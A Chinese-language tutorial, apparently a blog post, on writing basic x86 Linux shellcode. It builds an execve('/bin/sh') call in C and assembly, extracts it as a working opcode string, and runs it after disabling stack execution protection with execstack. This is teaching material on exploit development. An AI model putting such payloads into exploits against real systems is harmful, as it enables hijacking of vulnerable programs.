二进制入门-打造Linux shellcode基础篇
0x01 前言
本文的目的不是为了介绍如何进行恶意的破坏性活动,而是为了教会你如何去防御此类破坏性活动,以帮助你扩大知识范围,完善自己的技能,如有读者运用本文所学技术从事破坏性活动,本人概不负责。
0x02 什么是Shellcode
shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他为shellcode。但是任何执行类似任务的代码都可以称为shellcode。 因为有效载荷的功能不仅限于一个shell。
shellcode基本的编写方式有以下三种
- 直接编写十六进制操作码。
- 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。
- 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。
第一种方法很极端,直接编写十六进制操作码是一件非常难得事情。下面我将带大家一步步去编写自己的shellcode。
0x03 execve系统调用
在Linux系统上执行程序的方式有多种,但是其中使用最广泛的一种方式就是通过借助execve系统调用。我们首先来看看execve的使用方法。
说明看起来很复杂,其实很简单。我们先使用c语言来实现它。
c语言实现execve系统调用创建shell
我们首先来新建一个文件:
我们使用vim来编写代码:
看完上面的介绍,使用c语言来实现就很简单了。
1
2
3
4
5
6
7
8
9
|
#include <unistd.h> int main ( ) { char * shell[ 2 ]; shell[ 0 ] = "/bin/sh" ; shell[ 1 ] = NULL; execve ( shell[ 0 ] , shell , NULL ) ; } |
然后我们使用gcc编译器来编译一下:
运行看看:
成功执行创建一个shell。
转向汇编语言
前面我们已经使用c语言来实现了,现在我们就需要用汇编语言来重写execve系统调用,其实很简单。我们先来查看一下execve系统调用号:11
汇编代码重写:
首先我们将寄存器eax清零。
然后我们将寄存器eax进行入栈操作,其实就是将字符串末尾的空字符值入栈:
push eax
然后将//sh入栈(由于需要对齐,因此这里用了四个字节)
push 0x68732f2f
最后将/bin入栈。
push 0x6e69622f
现在栈上已经有了全部所需数据,现在就是设置execve系统调用了。
[AppleScript] 纯文本查看 复制代码
1
2
3
4
5
6
7
|
mov ebx , esp push eax push ebx mov ecx , esp xor edx , edx mov al , 0 xb ; 0 xb表示其系统调用号的十六进制,execve的系统调用号为 11 int 0 x 80 |
完整代码如下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
section . text global _start _start : xor eax , eax push eax push 0 x 68732 f 2 f push 0 x 6 e 69622 f mov ebx , esp push eax push ebx mov ecx , esp xor edx , edx mov al , 0 xb int 0 x 80 |
汇编链接测试
首先使用nasm进行汇编
root@kali:~/demo# nasm -f elf test.asm
然后使用ld链接
root@kali:~/demo# ld -o test test.o
运行测试看看
root@kali:~/demo# ./test
#
0x04 提取十六进制操作码并测试Shellcode
获得十六进制操作码很简单,我们只需要使用objdump工具的-d选项来进行反汇编即可:
最后我们检查一下有没有出现空字符(\x00)。
测试shellcode
首先我们将十六进制操作码放入一个名为shellcode[]的缓冲区中。
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdio.h> char shellcode[] = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x31\xd2" "\xb0\x0b" "\xcd\x80" ; int main ( ) { void (*fp) (void); fp=(void *) shellcode; fp ( ) ; } |
然后我们分配一个名为fp的函数指针,然后将这个函数指针设置为shellcode[]的起始地址。最后我们执行这个函数。
现在我们编译一下,这里注意一下,编译成功后我们还是不能成功执行的,会出现段错误的提示,这是因为系统本身有数据区执行保护机制,导致在全局数据段的shellcode不能被运行,即出现段错误。
这里我们先安装一下execstack。
sudo apt-get install execstack
然后针对编译后的程序使用execstack
execstack -s 程序名
之后执行就OK了
总结
现在我们已经知道一个shellcode编写流程了,别走开,这只是基础篇,我们实现的这个shellcode缺乏实战,下一篇教程我们继续完善这个shellcode。
参考:
《汇编语言(第3版) 》王爽
《[科普]浅入浅出Liunx Shellcode》pr0cess